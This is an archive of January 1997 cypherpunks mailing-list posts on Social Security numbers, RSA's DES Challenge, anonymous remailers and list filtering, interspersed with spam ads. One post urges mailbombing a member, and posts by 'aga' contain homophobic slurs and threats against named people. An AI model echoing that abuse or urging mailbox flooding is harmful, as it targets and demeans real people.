>>>laws to make the SS number more of an ID number. ...
>>>
>>>And concerns about "identity theft" when such a simple thing as an SS
>>>number is the key to so many records, rights, etc.
>>
>>I don't see how you can have the SS number be both a public ID number and a
>>secret password.  Perhaps you could have it be one, but not both.  It seems
>>to me that parts of our society are trying have it be a password and parts
>>a public ID number.  (Perhaps the same parts?)  Doing both just won't work.
>>
>>(Using SS as a password is subject to all the stealing and replay attacks
>>that make passwords a really bad idea for secure identification.)
>
>????
>
>I never made such a claim, that SS numbers are any kind of secret key or
>password.

Sorry for the confusion.  The "you" was meant in its plural form, and
probably should be replaced with "one".  If I understand your position
correctly, you would prefer to have no SS numbers (or Social Security
either).


>The phrase "identity theft," not coined by me, is a recent term of art
>involving the ease with which those with access to a person's SS number can
>then acquire credit cards, etc.

Sounds like the SS number is acting as a password which gives access to
privileges.  Or perhaps just a key which allows you to look up tokens in
public databases, which give access to privileges.  Either way, it needs to
be kept secret which is at odds with it acting as public person-ID number.


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Markus H|bner <matic@bau2.uibk.ac.at>
Date: Fri, 3 Jan 1997 01:02:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Security & Hackerscene site
Message-ID: <32CCCAF3.67B@bau2.uibk.ac.at>
MIME-Version: 1.0
Content-Type: text/plain


During the last days the site "Security & Hackerscene" has been
expanded. New sections specialized on intrusion detection, IP-spoofing,
... will help you to protect your site from break-ins and will give you
an insight into the latest methods and tricks used by hackers to break
into obvious secure computers. Furthermore many CERT advisories and
other
security related text files were redesigned and are now available in
HTML
format. You will also find links to the best information resources
(files, e-zines, texts) on the net regarding Internet-Security.

URL of the "Security & Hackerscene" site:

    --------------------------------------------------------------
       http://www.geocities.com/capecanaveral/3498/security.htm
    --------------------------------------------------------------

Some of the items you will find:

+ IP-spoofing demystified
+ Intrusion Detection Checklist
+ CGI Security Holes
+ How hackers cover their tracks
+ Compromise FAQ
+ Protecting Yourself from Password File Attacks
+ The Ultimate Sendmail Hole List
+ An Architectural Overview of UNIX Network Security
+ Essential Security Information
+ UNIX Backdoors
+ UNIX System Security Issues
+ Tips for Improving Your Security
+ as well as files commonly found in the underground scene.


I would be glad to receive your feedback.


          Markus H|bner

======================================================================
E-Mail: matic@bau2.uibk.ac.at
WWW:    http://bau2.uibk.ac.at/matic
Working as a freelance WEB-programmer and security-consultant.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fgle@sun1.uconect.net
Date: Fri, 3 Jan 1997 07:09:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: invitation
Message-ID: <199701031507.KAA13920@sun1.uconect.net>
MIME-Version: 1.0
Content-Type: text/plain


Fuck_God_Up_The_Ass,


A Web-based network of manufacturers, inventors, distributors,
importers and exporters--can bring you together with
companies interested in licensing and/or distributing
manufactured products.  The Exchange can help you:

-Add dollars to your bottom line with no risk 
or capital outlay.

-Get into foreign markets quickly.

-Connect you with local and foreign business partners.

Here's how it works:  We post a description and photo
of your products, design or service on the Exchange web
site, where it will be seen by members in more than 56
nations.  We collect inquiries and make the introductions.
You, of course, retain complete control over any 
negotiations, and it's up to you to decide whether to go
forward with a potential partner.

Membership on the Exchange is free.  To post a product,
we ask for nothing up front, with a small fee only if
you successfully conclude an agreement.  This is an
introductory offer where we defer the product web page
construction and hosting cost until you achieve success.

We're excited about this new Web-based marketing tool,
and the response has been unusally strong.  Among the 
individuals who participated in our 20-week test, 73%
are in active negotiations with potential partners!

For more detailed information about our free membership
registration, just reply to this message and insert
"info" in the Subject.  We will email all the details.

Douglas Cymbala
Membership Department





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bob Baldwin <baldwin@RSA.COM>
Date: Fri, 3 Jan 1997 10:09:11 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RSA Announces New "DES Challenge"
Message-ID: <c=US%a=_%p=RSA_Data_Securit%l=LOBESTER-970103181029Z-8285@LOBESTER.rsa.com>
MIME-Version: 1.0
Content-Type: text/plain



RSA Announces New "DES Challenge"

Tens of thousands of dollars in cash prizes offered; contest should 
improve overall Internet security by illustrating relative strength 
of different crypto algorithms and keysizes.

Business Editors and Computer Writers


REDWOOD CITY, Calif.-Jan 2, 1997--RSA Data Security, Inc., a wholly 
owned subsidiary of Security Dynamics Technology, Inc. (NASDAQ: 
SDTI), today announced an Internet-based contest with cash prizes.   
The contest, known as the "RSA DES Challenge", challenges 
mathematicians, hackers and computer experts around the world to 
decipher encrypted messages.  The goal of the contest is to quantify 
the security offered by the government endorsed DES encryption 
standard and other secret-key ciphers at various key sizes.

The challenge proper will be launched during the RSA Data Security 
Conference to be held in San Francisco, January 28-31, with the 
target ciphertexts for the different contests being simultaneously 
posted on the company web-site, at http://www.rsa.com/

RSA Data Security pioneered the Internet-based "cracking" contest, 
when it launched the original "RSA Factoring Challenge" back in 1991.  
Since then, the company has paid out over $100,000 in prize money to 
mathematicians and hackers around the world, and the data gained from 
that Challenge (which is ongoing) has greatly increased 
mathematicians' understanding of the strength of encryption 
techniques based on the "factoring problem", such as the RSA Public 
Key Cryptosystem T.


Background

It's widely agreed that 56-bit keys, such as those offered by the 
government's DES standard, offer marginal protection against the 
committed adversary. By inertia as much as anything else, DES is 
still used for many applications, and the 20-year-old algorithm is 
proposed to be exportable under the latest incarnation of Clipper. It 
is the perfect time to demonstrate to the world that better systems 
are both required - and available - thus improving the world's 
security.

There have been theoretical studies done showing that a specialized 
computer "DES cracker" could be built for a modest sum, which could 
crack keys in mere hours by exhaustive search. However, no one is 
known to have built such a machine in the private sector - and nobody 
knows if one has been built in any government, either.

The successes of the RSA Factoring Challenge show that for some types 
of problems, it's possible to recruit spare "cycles" on a large 
number of machines distributed around the Internet. Therefore, by 
offering a suitable incentive, it should be possible to recruit 
sufficient CPU power across the Internet to exhaustively search the 
DES keyspace in a matter of weeks.

Computer scientists have already developed software that will allow 
even the novice computer user to participate in the cracking effort.  
By incorporating the key search software in a "screen saver", a 
simple PC anywhere on the Internet can devote its spare time to 
working on the problem - remotely and completely unattended.  Even 
people with limited computer skills will be able to participate.  In 
the RSA DES Challenge, the motto will definitely be "The More, The 
Merrier".


The Contest

Full details of the RSA DES Challenge will be posted on the RSA home 
page (http://www.rsa.com/) during the first weeks of January. 
Complete rules for the competition will be provided as well as 
example challenges and solutions against which computer scientists 
and hackers can test their software. 

In conjunction with the RSA DES Challenge, RSA will simultaneously 
launch a series of other contests based around the RC5 Symmetric 
Block Cipher (another encryption algorithm).  Since RC5 is a variable 
key length block cipher, targets that offer increasing resistance 
against so-called "exhaustive search attacks" will be posted in the 
hope of assessing the full impact of a widely-distributed exhaustive 
search. There will be 12 challenges based on the use of RC5. Prizes 
will be awarded for the recovery of each of 12 keys which are chosen 
to be of lengths varying from 40 bits all the way up to 128 bits, 
with the length increasing in steps of eight bits.

The email sender of the first correctly formatted submissions to each 
contest will receive a cash prize. For the RSA DES Challenge the 
first sender of the secret DES key will receive $10,000. For the 
other contests the prize money awarded will vary with the difficulty 
of the RC5 key attacked.

For more information about the ongoing RSA Factoring Challenge send 
email to challenge-administrator@rsa.com and for the latest news and 
developments send email to challenge-news@rsa.com. 


About RSA Data Security, Inc.

RSA Data Security, Inc., a wholly owned subsidiary of Security 
Dynamics Technologies, Inc., is the world's brand name for 
cryptography, with more than 75 million copies of RSA encryption and 
authentication technologies installed and in use worldwide. RSA 
technologies are part of existing and proposed standards for the 
Internet and World Wide Web, IT4, ISO, ANSI, IEEE, and business, 
financial and electronic commerce networks around the globe. The 
company develops and markets platform-independent developer's kits 
and end-user products, and provides comprehensive cryptographic 
consulting services. For more information on any of RSA's encryption 
technologies, please call RSA directly at 415/595-8782 or send 
electronic mail to sales@rsa.com. RSA also provides information on 
its Web site at http://www.rsa.com. 



****************************************************************
Kurt R. Stammberger
Director, Technology Marketing
RSA Data Security, Inc. (A Security Dynamics Company)
415-595-8782 vox           415-595-1873 fax
kurt@rsa.com               www.rsa.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: BJORN2LUZE@prodigy.com (NATHAN MALLAMACE)
Date: Fri, 3 Jan 1997 08:08:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: yawn
Message-ID: <199701031532.KAA21762@mime4.prodigy.com>
MIME-Version: 1.0
Content-Type: text/plain


>> Someone please tell be what i must do to be banned from this list. 
 I wil=
>l
>> refrain from describing the obvious idiocracy here. =20
>>=20

>Just who the fuck is this Acid rain guy, a newbie?

If he is... FLOOD HIS MAIL BOX. - Goto: http://pages.prodigy.
com/fifthnail/newbie.wav
to download a kewlio WAV file.. it goes a little bit like this:
'Do I smell newbie?.. < guns start to fire... and he laughs >'
it's a kewl wav file from the place where I found out how to get on 
this mailing list.
http://pages.prodigy.com/fifthnail/maillist.htm
GET ON MORE MAILING LIST! if you want to there are a ton more!

>Doesn't this stupid bastard know that he is writing
>to two different lists, and not just one?

I donno.

>>=20
>> ----=3D=3D=B7=B7=B7=B7=B7=B7=B7 =B7Acid.Rain=B7 
=B7=B7=B7=B7=B7=B7=B7=3D=
=3D---
>> http://www.scott.net/~acidrain/
>>=20

What a geek.

>Dave, how the fuck did this acid rain asshole=20
>get on the Freedom Knights list?

Mus' be on crank, you think? Whad'a cyber geek- TRASH HIM.

 Nail




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jill014@aol.com
Date: Fri, 3 Jan 1997 07:42:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Anonymous Remailer at DHP.com
Message-ID: <970103104111_1722786644@emout07.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


In a message dated 97-01-01 18:55:24 EST, lucifer@dhp.com (Anonymous) writes:

> Subj:	Re: Anonymous Post Control
>  Date:	97-01-01 18:55:24 EST
>  From:	lucifer@dhp.com (Anonymous)
>  Sender:	owner-cypherpunks@toad.com
>  To:	cypherpunks@toad.com
>  
>  ph@netcom.com (Peter Hendrickson) writes:
>  
>  > It's hard to filter anonymous posters.  I want to see what a few
>  > of them have to say so I can't filter on the remailers.
>  > 
>  > If anonymous posters PGP sign their posts, it is still hard to filter
>  > using a lame filter software such as that which comes to Eudora.
>  
>  Anonymous users willing to PGP sign their posts could just use a
>  service like nym.alias.net (mailto:help@nym.alias.net), which even
>  allows pseudonyms to advertise their PGP keys via finger (slightly
>  better than the PGP key servers).
>  
>  When people post anonymously rather than pseudonymously, it is
>  generally because they don't want a blatant link between all of their
>  posts (though obviously analysis of writing style is still possible).
>  

But why do you always use the anonymous remailer from DHP.com?
Why do you not use other places?

JIll

>  
>  
>  ----------------------- Headers --------------------------------
>  From cypherpunks-errors@toad.com  Wed Jan  1 18:54:40 1997
>  Return-Path: cypherpunks-errors@toad.com
>  Received: from toad.com (toad.com [140.174.2.1]) by emin08.mail.aol.com
(8.6.
> 12/8.6.12) with ESMTP id SAA26357; Wed, 1 Jan 1997 18:54:38 -0500
>  Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id OAA12907 
> for cypherpunks-outgoing; Wed, 1 Jan 1997 14:25:53 -0800 (PST)
>  Received: from dhp.com (dhp.com [199.245.105.1]) by toad.com (8.7.5/8.7.3)

> with ESMTP id OAA12894 for <cypherpunks@toad.com>; Wed, 1 Jan 1997 14:25:06
-
> 0800 (PST)
>  Received: (from lucifer@localhost) by dhp.com (8.8.4/8.6.12) id RAA17460
for 
> cypherpunks@toad.com; Wed, 1 Jan 1997 17:25:01 -0500
>  Date: Wed, 1 Jan 1997 17:25:01 -0500
>  Message-Id: <199701012225.RAA17460@dhp.com>
>  X-Authentication-Warning: dhp.com: lucifer set sender to lucifer@dhp.com 
> using -f
>  To: cypherpunks@toad.com
>  From: lucifer@dhp.com (Anonymous)
>  Comments: Please report misuse of this automated remailing service to <
> lucifer@dhp.com>.
>  References: <v02140b0caeef4ce75c72@[192.0.2.1]>
>  Subject: Re: Anonymous Post Control
>  Sender: owner-cypherpunks@toad.com
>  Precedence: bulk
>  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Fri, 3 Jan 1997 11:05:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: WIPO and domain names
Message-ID: <v02140b03aef2f45c64b7@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


For those who haven't seen it already, there is something in the
bushes:


    http://www.wipo.org/eng/internet/domains/index.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Frank O'Dwyer" <fod@brd.ie>
Date: Fri, 3 Jan 1997 12:07:39 -0800 (PST)
To: Bill Frantz <cypherpunks@toad.com
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <v0300780eaef08245ba4e@[199.182.128.36]>
Message-ID: <199701031110.LAA31173@brd.ie>
MIME-Version: 1.0
Content-Type: text/plain



> [...] the drivel that comes from some of our more prolific posters is
> best handled by filtering by the list members themselves.  (I currently
> have 3 of them going directly to the trash.  Perhaps aga should get
> kickbacks from Qualcomm.  He managed to sell a copy of EudoraPro.)

It would be nice if each user could install filters on Majordomo itself.
Not only would we not need to buy Eudora Pro, but we wouldn't have to
pay to download messages we didn't want to read, and without having
to employ a moderator (censor). The most serious drawback 
I can think of is the slight loss of privacy involved in revealing
one's filtering preferences to the server - however, the people who
get filtered are generally no secret.  You just told the list you
filter aga for example. 

In conjunction with your token scheme (maybe even without it), something 
like that could cut volume really nicely.  In conjunction with anonymous
subscription, people might be willing to run more powerful filters on 
the server end (positive filtering, keyword search, etc) [that would need 
some kind of token scheme, else spammers/mailbombers could just stuff 
their articles with keywords].  It might even be possible to implement 
a feature like 'subscribe cypherpunks-lite', where you get subscribed to 
a list minus the most filtered posters...

Cheers,
Frank O'Dwyer






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 3 Jan 1997 11:08:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Timmy's Lost It: [Was Extremism in the defense of liberty isno vice]
In-Reply-To: <v03007801aeef0dff9afe@[207.167.93.63]>
Message-ID: <v03007800aef30965baec@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



It's always sad to see another sometimes-reasonable (though sometimes
foaming) writer go down the Detweiler-Vulis route, e.g., by making his
arguments hinge on calling me "Timmy" (what _is_ it with this nickname that
makes it so damned attractive to Vulis, Vlad, and Attila?).

At 8:14 AM +0000 1/1/97, Attila T. Hun wrote:

>        your elitism is crap; if you know it and persist, you are asking
>    to lose the "war" with the Feds; if you don't know it, you're just
>    ignorant.  you are doing nothing except feeding your own ego in the
>    hope of winning one battle and establishing that self-same elitism.
....
>        I didn't fight in foreign wars for this crap from an 'American.'

Actually, the war you apparently fought in was of course a total waste.
This is too well known to repeat here.

Making rhetorical arguments hinge on the notion that you fought in some
god-forsaken war in the middle of nowhere is absurd. You were just cannon
fodder, a pawn in the geopolitical chess game, a means of enhancing certain
political careers...though you ultimately let them down, as LBJ chose to
bow out, and Nixon resigned. You were playing your role, Attila!

As for my "elitism," I've never presented myself in any other fashion. I've
discussed this issue many times. Get used to it, or ignore it, or just keep
foaming at the mouth and ranting about how I need to take "yellow pills" to
avoid being an ally of "Bubba."

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@microsoft.com>
Date: Fri, 3 Jan 1997 11:50:05 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Crypto reg clarification from Commerce Department
Message-ID: <c=US%a=_%p=msft%l=RED-81-MSG-970103194919Z-73218@INET-03-IMC.itg.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


The General Prohibitions:

(ii):  You may not, without a license from BXA, think about technical
things with respect to encryption items, as described in Sec 744.9 of 
the EAR.Instead, when you reason upon the validity and consequencs of
your 
code or your actions, you will set your neural systems to reference
Sec. 736.2(b)(10) and Sec. 764.2 (b) & (e).


   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Fri, 3 Jan 1997 09:06:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ASSHOLE FAGGOT J.D. Falk
In-Reply-To: <Pine.BSI.3.95.970103103308.26274D-100000@triste.psc.edu>
Message-ID: <Pine.LNX.3.95.970103115005.19416A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 3 Jan 1997, Chris Rapier wrote:

> In light of this post I have decided to make the spam-list moderated. 

Trying to cover up the truth again Chris, huh?

> I
> will not tolerate this sort of behaviour in a private forum. 

Hey, it was J.D. Falk that started the whole thing with a loaded
defame.bot.  All I did was respond to a Freedom-Knights mailing list
article which happened to have your list in it.

> This is not a
> free for all newsgroup nor is it a soapbox for you to spout deragatory
> views and opinions. It is a technical forum which will be working under
> the ageis of the IETF. 
> 

As I said, J.D. Falk started the whole thing with his defamatory
prose about "Continued harassment by Grubor."  It was his fault, and
nobody's at this end.

> If you have something productive to contribute I encourage your offical
> subscription to the mailing list. Please limit your comments to those of a
> technical nature dealing with the matter at hand.
> 

The recognition that most every problem person is of a homosexual
nature is definitely a usenet body-politic phenomenon, which will
be documented and verified with whatever means that become necessary.

J.D. Falk Started the whole thing, and there is no way you can
get around that.  Go deal with the cypherpunks.

I have already talked to Falk's boss and Lawyer about him, and I
plan on seeing him in Court.  That shit that he publishes is not
going to last very much longer.

Over half of the problem people on usenet are Faggots, and that fact
is going to be made well known.  I want the faggot cocksucker on the
witness stand, and nothing less.

cheers,
> On Fri, 3 Jan 1997, aga wrote:
> 
> > On Fri, 3 Jan 1997, J.D. Falk's Autoresponder wrote:
> > 
> > "Continued Harassment by John Grubor" and this admitted asshole Faggot
> > has had this same Autoresponder set up for Months at this CAIS
> > Location.  This is called a "defame-bomb" -- another asshole BOFH
> > tradition.  I had forgotten about this problem J.D. Falk faggot until
> > now, but he has this dafame-bomb set up in his procmail, it looks
> > like.
> > 
> > Now this is a further example of just how much these homosexuals have
> > ruined UseNet in the past.
> > 
> > Don't worry J.D., I misplaced the file on you and that is the reason
> > why we have not filed the Lawsuit against you and CAIS yet, but
> > believe you me, we WILL be down to the D.C. area and file that Lawsuit
> > against you.  I have already spoken to your Lawyer, and this shit is
> > the last straw.
> > 
> > A further example of how the PROBLEM people on UseNet administration
> > always turn out to be the GAY crowd.  This recently discovered
> > phenomenon must not go unreported.
> > 
> > 
> > > >On Thu, 2 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > 
> > > >> >From owner-spam-list@psc.edu  Thu Jan  2 23:26:42 1997
> > > >> Received: by bwalk.dm.com (1.65/waf)
> > > >> 	via UUCP; Thu, 02 Jan 97 23:27:15 EST
> > > >> 	for dlv
> > > >> Received: from mailer.psc.edu by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via SMTP;
> > > >>         id AA17247 for dlv@bwalk.dm.com; Thu, 2 Jan 97 23:26:42 -0500
> > > >> Received: (from majordom@localhost) by mailer.psc.edu (8.8.3/8.8.2/mailer) id XAA30494 for spam-list-outgoing; Thu, 2 Jan 1997 23:06:35 -0500 (EST)
> > > >> X-Authentication-Warning: mailer.psc.edu: majordom set sender to owner-spam-list using -f
> > > >> From: peter@taronga.com (Peter da Silva)
> > 
> > Another BOFH asshole who has been a major usenet problem
> > for over 10 years.
> > 
> > 
> > > >> Message-Id: <199701030359.VAA28649@bonkers.taronga.com>
> > > >> Subject: Re: regarding the minutes for the filtering meeting... (fwd)
> > > >> To: spam-list@psc.edu
> > > >> Date: Thu, 2 Jan 1997 21:59:16 -0600 (CST)
> > > >> In-Reply-To: <Pine.BSI.3.95.970102222523.23890E-100000@triste.psc.edu> from "Chris Rapier" at Jan 2, 97 10:41:01 pm
> > > >> X-Mailer: ELM [version 2.4 PL24]
> > > >> Content-Type: text
> > > >> Sender: owner-spam-list@psc.edu
> > > >> Precedence: bulk
> > > >> Reply-To: spam-list@psc.edu
> > > >> 
> > > >> > Well, the way i have been looking at things is that its going to be
> > > >> > impossible to eliminate all spam. Boycotts can be routed around,
> > > >> 
> > > >> And the secondary routes get blocked, and get injunctions against the
> > > >> spammers, and so on.
> > > >> 
> > > >> > payment
> > > >> > systems for mail seems to be unweildy at the present time
> > > >> 
> > > >> On the contrary, having advertisers paying for email is already working
> > > >> with juno and hotmail and usa.net.
> > > >> 
> > > 
> > > >You know, this is what I have been saying for years.  Spammers will
> > > >also PAY to spam UseNet, and we could finance the whole InterNet(tm)
> > > >for FREE if we could just get rid of people like Chris Lewis and
> > > >Chris Rapier.  
> > > 
> > > >We WANT MORE SPAMmers on the UseNet, because we can start charging
> > > >them MONEY as their ISPs.
> > > 
> > > >> > Filtration isn't perfect. Before a spammer can be blocked they have to
> > > >> > spam... Modifying the headers will circumvent filters as well and well...
> > > >> > you all know the shortcomings.
> > > >> 
> > > >> The big problem with filters is that it adds support to spammer's arguments
> > > >> that they're not the problem, that people who really don't want spam can
> > > >> avoid it (even as they're working to make that harder).
> > > >> 
> > > >> I dislike filters because they carry the distinct possibility of making
> > > >> things worse, of establishing a basis for spam. And filters don't hurt the
> > > >> spammers because they don't *care*. They'll just send more spam to the folks
> > > >> who aren't filtering. It doesn't cost any more, and if they charge for 0.1%
> > > >> response from a hundred thousand users they'll just charge for 0.01% from a
> > > >> million...
> > > >> 
> > > 
> > > >Spammers PAY money to SPAM, and every good ISP should charge the
> > > >SPAMmers at their end.  Then the whole Internet could be FREE for
> > > >most all users.
> > > 
> > > >These guys like Chris Lewis who cancel SPAM and Chris Rapier who
> > > >tries to create "lists" of people, are both seriously harming the
> > > >proper economic development of the InterNet.
> > > 
> > > >The e-mail program that does not also contain newsgroups in the
> > > >header is a NO NO.  ALL traffic must be routed out of e-mail and
> > > >into UseNet, but NOT vice-versa.
> > > 
> > 
> 
> Chris Rapier
> Systems Programmer/Cabin Boy 2nd Class
> Pittsburgh Supercomputing Center
> 11EE
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "/**\\anonymous/**\\" <panther@iglou.com>
Date: Fri, 3 Jan 1997 09:34:57 -0800 (PST)
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: OCR and Machine Readable Text
In-Reply-To: <3.0.1.32.19970102225436.01072284@mail.teleport.com>
Message-ID: <32CD435E.24DC@iglou.com>
MIME-Version: 1.0
Content-Type: text/plain


Alan Olsen wrote:
> I used to work for a company that would transfer entire archives of medical
> journals.  Much of it we would just OCR.  Some of it we would send off
> shore.  The OCR software was about 95% reliable and this was over 5 years
> ago.  (And we were using 286 boxes for much of the OCR work.  Not a heavy
> technoligical investment.)  I am sure that things have improved a great
> deal since then.  (My new scanner included OCR software.  I will have to
> run a test and report the findings.

	I'd like to know what OCR software you were using.  All tests we
completed at my place of employment were very poor quality wise.  We
showed
a %65 accuracy rate.  Not very good when you need to transfer a five
year
backlog of medical and technical journals.  This was using a high
resolution
scanner with a package that was bundled along with it.  About a year
ago,
my employer considered transfering data taken off of forms into a
relational
database using an OCR program.  Again, we found the findings to be too
innacurate for our needs.  I may have just been using the wrong programs
for
the job, but the findings were depressing...

panther

> ---
> |   If you're not part of the solution, You're part of the precipitate.  |
> |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
> | mankind free in one-key-steganography-privacy!"  | Ignore the man      |
> |`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
> |         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gary@safetydisk.com (Gary Aikens)
Date: Fri, 3 Jan 1997 11:28:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: ONE MILLION CHILDREN.....
Message-ID: <19970103174004703.AIT291@[205.187.61.2]>
MIME-Version: 1.0
Content-Type: text/plain


...and pets are lost or turn up missing every year!
Protect your loved ones today! 

Think about all the things you do to protect your loved ones. Isn't there
one more thing you should do? 

Child and Pet ID Kits have been around for years, but most of them haven't
changed with the years. Traditional ID Kits allow you to compile valuable
information about your child or pet that you can use in the event your child or
pet is missing. We are responding to the rapid changes in technology. We know
that any ID Kit just isn't good enough. 

Our ID Kit is quite different! You supply us with up to three photos and pertinent
information about your child or pet and we create a SAFETYDISK. In PC or MAC
format, SAFETYDISK is a 3 1/2" disk that contains photos and valuable
information that could help law enforcement agencies in the search for a missing
child or pet. 

What makes our kit so unique is that each SAFETYDISK is actually
pre-formatted for the World Wide Web. SAFETYDISK can be put on any
Internet server within seconds and displayed to millions and millions of people
who might spot your child or pet! 

For more information, visit our website at http://www.mvisibility.com/sd/

Thanks,

Gary Aikens
President, SafetyDisk, Inc.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Bostick <abostick@netcom.com>
Date: Fri, 3 Jan 1997 12:43:31 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: [NOISE] Re: Timmy's Lost It: [Was Extremism in the defense of liberty is no vice]
In-Reply-To: <v03007800aef30965baec@[207.167.93.63]>
Message-ID: <Pine.3.89.9701031202.A28155-0100000@netcom9>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 3 Jan 1997, Timothy C. May wrote:

> 
> It's always sad to see another sometimes-reasonable (though sometimes
> foaming) writer go down the Detweiler-Vulis route, e.g., by making his
> arguments hinge on calling me "Timmy" (what _is_ it with this nickname that
> makes it so damned attractive to Vulis, Vlad, and Attila?).

It's a meme, both self-perpetuating *and* spontaneously generating.  The 
antagonist, in the passion of the moment, doesn't hit the space, shift, 
or 'A' keys while typing fast.  Other people, insensed by the post, respond
in kind, and so forth.  

Alan Bostick               | To achieve harmony in bad taste is the height
mailto:abostick@netcom.com | of elegance.
news:alt.grelb             |      Jean Genet
http://www.alumni.caltech.edu/~abostick





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 3 Jan 1997 12:57:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anonymous Remailer at DHP.com
In-Reply-To: <970103104111_1722786644@emout07.mail.aol.com>
Message-ID: <199701032056.MAA12850@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Jill014@aol.com writes:

> But why do you always use the anonymous remailer from DHP.com?
> Why do you not use other places?

Whom are you asking?  Personally, I use at least 4 remailers for every
message I send.  I have a chain of 3 I trust, and have premail
automatically select a reliable remailer for the last hop.  It may
just be that dhp.com has been high on the list lately.  So a lot of
messages have been coming from there.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gary@safetydisk.com (Gary Aikens)
Date: Fri, 3 Jan 1997 14:56:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: ONE MILLION CHILDREN.....
Message-ID: <19970103175750062.AJW281@[205.187.61.2]>
MIME-Version: 1.0
Content-Type: text/plain


...and pets are lost or turn up missing every year!
Protect your loved ones today! 

Think about all the things you do to protect your loved ones. Isn't there
one more thing you should do? 

Child and Pet ID Kits have been around for years, but most of them haven't
changed with the years. Traditional ID Kits allow you to compile valuable
information about your child or pet that you can use in the event your child or
pet is missing. We are responding to the rapid changes in technology. We know
that any ID Kit just isn't good enough. 

Our ID Kit is quite different! You supply us with up to three photos and pertinent
information about your child or pet and we create a SAFETYDISK. In PC or MAC
format, SAFETYDISK is a 3 1/2" disk that contains photos and valuable
information that could help law enforcement agencies in the search for a missing
child or pet. 

What makes our kit so unique is that each SAFETYDISK is actually
pre-formatted for the World Wide Web. SAFETYDISK can be put on any
Internet server within seconds and displayed to millions and millions of people
who might spot your child or pet! 

For more information, visit our website at http://www.mvsibility.com/sd/

Thanks,

Gary Aikens
President, SafetyDisk, Inc.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 4 Jan 1997 15:37:10 -0800 (PST)
To: ph@netcom.com
Subject: Re: Experiments on Mailing Lists
In-Reply-To: <v02140b01aef46e21565d@[192.0.2.1]>
Message-ID: <199701031310.NAA00485@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Peter Hendrickson wrote:
> At 11:02 AM 1/4/1997, Timothy C. May wrote:
> > All of these schemes--some of them pretty clever--for posting tokens,
> > reputation-based killfiles, buying and selling reputation futures, etc.,
> > are almost certainly far too complicated to deploy on a list like ours.
> 
> > ...[Interesting Extropian history deleted.]...
> 
> > So, rather than do similar tinkering with the Cypherpunks list--not that
> > either Hugh Daniel or John Gilmore have given any hint they are willing to
> > do such tinkering--I suggest those who want to try token-based posting, or
> > information markets in reputation capital, or herd-consensus killfiles,
> > etc., set up a separate mailing list and implement whatever they wish.
> 
> If the point of these schemes is to filter content (*), there is no
> reason why they have to be implemented for the entire list.  They
> can always be converted to a tag on the message which readers can
> use, but are not required to.

I think this filtering/censorship stuff is getting way too complicated
to be practical.  It is in my opinion inappropriate to moderate or
automatically filter the list itself, because that is a form of
censorship.  Expecting people to install and use new software is
asking too much.

The way I see it, you have several simple options:

1) read everything, and hit d when you decide a post is noise

